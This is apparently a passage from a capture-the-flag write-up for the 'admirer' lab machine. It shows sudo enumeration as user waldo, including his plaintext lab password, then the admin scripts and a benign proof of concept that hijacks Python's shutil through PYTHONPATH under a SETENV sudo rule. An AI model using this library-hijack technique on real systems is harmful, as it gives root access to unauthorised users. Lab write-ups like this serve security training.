waldo
Checking for sudo privileges of the waldo
user after performing basic enumeration
waldo@admirer:~$ sudo -l
[sudo] password for waldo: &<h5b~yK3F#{PaPB&dA}{H>
matching defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
listpw=always
user waldo may run the following commands on admirer:
(all) setenv: /opt/scripts/admin_tasks.sh
The waldo
user has a sudo privilege to execute /opt/scripts/admin_tasks.sh
with the SETENV tag as any user
This means that the waldo
user is able to preserve the user’s environment variable when executing the sudo-privileged command above
The
SETENV
tag means that thesudo
command allows the userwaldo
to preserve their environment variables when executing the specified command (/opt/scripts/admin_tasks.sh
). This includes passing the current user’s environment variables to the command with elevated privileges.
waldo@admirer:/opt/scripts$ sudo -u root /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Executing the sudo-privileged command prompts me multiple options to choose from.
While this seems rather familiar, I can check the crontab of the root
user since this is being execute as the root
user
Cron
Choose an option: 3
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
*/3 * * * * rm -r /tmp/*.* >/dev/null 2>&1
*/3 * * * * rm /home/waldo/*.p* >/dev/null 2>&1
This must be the root cronjob found during the system enumeration.
This was also suspected from the waldo
user’s mail and checked by PSPY at a later stage
Parent Directory
waldo@admirer:/opt$ ll
total 12K
4.0k drwxr-xr-x 22 root root 4.0k aug 24 16:09 ..
4.0K drwxr-xr-x 2 root admins 4.0K Dec 2 2019 scripts
4.0K drwxr-xr-x 3 root root 4.0K Nov 30 2019 .
waldo@admirer:/opt$ cd scripts ; ll
total 16K
4.0K drwxr-xr-x 2 root admins 4.0K Dec 2 2019 .
4.0K -rwxr----- 1 root admins 198 Dec 2 2019 backup.py
4.0K -rwxr-xr-x 1 root admins 2.6K Dec 2 2019 admin_tasks.sh
4.0K drwxr-xr-x 3 root root 4.0K Nov 30 2019 ..
Looking further into the /opt/scripts
directory, there is another script; backup.py
/opt/scripts/admin_tasks.sh
waldo@admirer:/opt/scripts$ cat admin_tasks.sh
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;
*) echo "Unknown option." >&2
esac
exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2
esac
done
exit 0
The admin_task.sh
script looked rather familiar because it is the backend for the /utility-scripts/admin_task.php
file found in the target web server earlier.
Initially, only the options 1
-3
were available due to the privilege-related issues from the frontend side.
I can now access those options 4
,5
,6
,7
with the sudo privileges of the waldo
user
While it seems to support various administrative tasks, none of them seem to come off as vulnerable from a perspective of adversary due to an input sanitization in place as well as the use of absolute paths
Except, the option 6
, that invokes the backup_web
function, which calls an external script; /opt/scripts/backup.py
/opt/scripts/backup.py
waldo@admirer:/opt/scripts$ cat backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
this custom python script uses make_archive function from the shutil library to perform a simple archiving operation for the web directory at /var/www/html
I can also see the old destination directory in the commented section. This explains how I was able to get hands on the html.tar.gz
file earlier.
Nevertheless, there is a critical security issue here. because this script is called via the sudo-privileged command with the setenv tag, i can pass down environment variables, including $pythonpath It basically means that I can set the directory where Python libraries are loaded from.
Testing
waldo@admirer:/opt/scripts$ echo -e 'def make_archive(x,y,z):\n print("Library Hijacked!")' > /var/tmp/shutil.py
waldo@admirer:/opt/scripts$ sudo PYTHONPATH=/var/tmp -u root /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...
Library Hijacked!
Moving on to Privilege Escalation phase